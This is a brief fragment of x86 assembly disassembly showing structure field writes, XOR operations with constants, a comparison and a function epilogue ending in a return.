jne 0x10003450
mov dword [esi + 0x14c], 0x71
mov dword [esi + 0x150], 4
mov eax, dword [esi + 0x28]
mov eax, dword [eax + 0xa0]
xor eax, 0x7b49
cmp dword [esi + 0x60], eax
jbe 0x10003495
xor dword [esi + 0xec], 0x7cac
pop edi
mov dword [esi + 0x15c], 6
lea eax, [ebp - 0x14]
pop esi
pop ebp
pop ebx
add esp, 8
ret